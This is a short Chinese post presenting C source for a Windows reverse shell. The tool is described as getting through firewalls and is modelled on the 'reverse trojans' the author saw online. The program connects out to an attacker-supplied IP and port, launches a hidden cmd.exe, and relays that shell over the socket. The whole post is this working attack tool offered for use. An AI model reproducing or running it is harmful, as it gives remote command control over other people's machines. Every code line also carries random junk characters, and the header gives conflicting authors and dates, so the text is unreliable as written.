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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 06 s3 b  
#jiqRhm  
/* ============================== yTiqG5r  
Rebound port in Windows NT g1 ,  
By wind,2006/7 Uiw7Y\Im|  
===============================*/ :X*LlN  
#include i{qURP}.  
#include !3# }ZC2  
puF Z~WZ  
#pragma comment(lib,"wsock32.lib") ]{^vs'as\  
\l5:A]J  
void OutputShell(); <t{AY^:r  
SOCKET sClient; (=V[tI+Ngt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A8GlE  
c@M@t0WT[  
void main(int argc,char **argv) b0 `9wn  
{ %QLYNuG  
WSADATA stWsaData; Dj(7'jT  
int nRet; Pc== ]H(  
SOCKADDR_IN stSaiClient,stSaiServer; :j4 [_9\  
@8yFM%  
if(argc != 3) *!@x<Hf<  
{ tC-KW~&  
printf("Useage:\n\rRebound DestIP DestPort\n"); [HDO^6U  
return; ! -@!u   
} Qe.kN dT+_  
^?[<!VBI  
WSAStartup(MAKEWORD(2,2),&stWsaData); cLC7U?-  
NI:N W-!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VTfaZ/e.  
L-{r*ccIW  
stSaiClient.sin_family = AF_INET; rF3]AW(  
stSaiClient.sin_port = htons(0); g>P9hIl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t'x:fO?cp  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DNBpIC5&6  
{ BK SK@OV  
printf("Bind Socket Failed!\n"); f`=T@nA  
return; |9Ks13?Ck  
} dvF48,kr  
n ]}2O 4j  
stSaiServer.sin_family = AF_INET; ?<^AXLiKV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?I#hrv@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q|l|mO  
UyKG$6F?3  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  j)6B^!  
{ n3j h\  
printf("Connect Error!"); *r$.1nke  
return; +Z2<spqG  
} [;YBX] t  
OutputShell(); >I~z7 JS  
} ^QR'yt3e  
;o459L>sW  
void OutputShell() w1(06A}/  
{ i9U_r._qj;  
char szBuff[1024]; G<6grd5PP  
SECURITY_ATTRIBUTES stSecurityAttributes; $50"3g!Y  
OSVERSIONINFO stOsversionInfo; _5 tqO5'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]GKx[F{)  
STARTUPINFO stStartupInfo; ) '`AX\  
char *szShell; _k.bGYldk  
PROCESS_INFORMATION stProcessInformation; _x1[$A,GuB  
unsigned long lBytesRead; Al=? j#J6p  
y@\Q@ 9  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i9k]Q(o  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I<(.i!-x  
stSecurityAttributes.lpSecurityDescriptor = 0; V*7Z,nA  
stSecurityAttributes.bInheritHandle = TRUE; rjAkpAT  
Pn'(8bRm  
(GcKaUg8*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nB@iQxcz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $:BK{,\  
_[vdY|_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sa?5iFg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; syW9Hlm  
stStartupInfo.wShowWindow = SW_HIDE; DkF2R @  
stStartupInfo.hStdInput = hReadPipe; `KJYm|@i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {[t"O u  
n]C%(v!u3  
GetVersionEx(&stOsversionInfo); =Q8H]F  
8Z4?X%  
switch(stOsversionInfo.dwPlatformId) 7l#2,d4  
{ &QOWW}  
case 1: *&dW\fx  
szShell = "command.com"; )y/DGSd  
break; f{^M.G@  
default: k#Ez  
szShell = "cmd.exe"; teOBsFy/I  
break; "H="Ip!s  
} x !:9c<  
`f 6)Q`n  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $v'Y:  
Ue g N-n  
send(sClient,szMsg,77,0); JXLWRe  
while(1) Y!= k  
{ 29iIG 'N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gF,[u  
if(lBytesRead) !&a;P,_Fb  
{ Z ]aK'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aq0iNbv@  
send(sClient,szBuff,lBytesRead,0); s@ 2 0#D  
} ^?s~Fk_V  
else ~C"k$;(n  
{ N$,/Q9h^  
lBytesRead=recv(sClient,szBuff,1024,0); ;N$0)2w  
if(lBytesRead<=0) break; &8Jg9#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 9o`7Kc/g  
} Hw?2XDv j  
} ,u&tB|,W,  
x!C8?K =|  
return;  M<Wn]}7!  
}
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